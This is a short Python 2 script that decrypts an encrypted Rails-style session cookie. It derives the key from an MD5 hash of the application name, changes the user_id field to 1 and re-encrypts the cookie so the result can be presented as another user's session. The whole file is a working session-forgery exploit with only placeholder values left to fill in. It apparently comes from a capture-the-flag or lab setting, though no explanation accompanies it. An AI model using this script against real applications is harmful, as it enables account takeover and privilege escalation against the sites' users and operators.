#!/bin/python
#import openssl
import hashlib
import base64
from urllib import unquote,quote_plus
from Cryptodome.Cipher import AES

#provide cookie and appname to decipher the cookie
cookie = "COOKIE_HERE"
appname = b'APP_NAME::Application'

# deciphering

cookie = unquote(cookie)

secret = hashlib.md5(appname).hexdigest()
what = hashlib.pbkdf2_hmac('sha1',secret, "authenticated encrypted cookie", 1000, 32)


cipherlist =cookie.split('--')
encrypted = base64.b64decode(cipherlist[0]+ '=' * (4 - len(cipherlist[0]) % 4))
iv = base64.b64decode(cipherlist[1]+ '=' * (4 - len(cipherlist[1]) % 4))
auth_tag = base64.b64decode(cipherlist[2]+ '=' * (4 - len(cipherlist[2]) % 4))

cipher = AES.new(what, AES.MODE_GCM, iv)
decr = cipher.decrypt_and_verify(encrypted, auth_tag)
print decr

#modyfing id to 1
import json
data = json.loads(decr)
data['user_id'] = 1
toencr = json.dumps(data)


cipher = AES.new(what, AES.MODE_GCM, iv)
encr, auth_tag = cipher.encrypt_and_digest(toencr)

newcookie = base64.b64encode(encr).decode()+"--"+base64.b64encode(cipher.nonce).decode()+"--"+base64.b64encode(auth_tag).decode()

print quote_plus(newcookie)
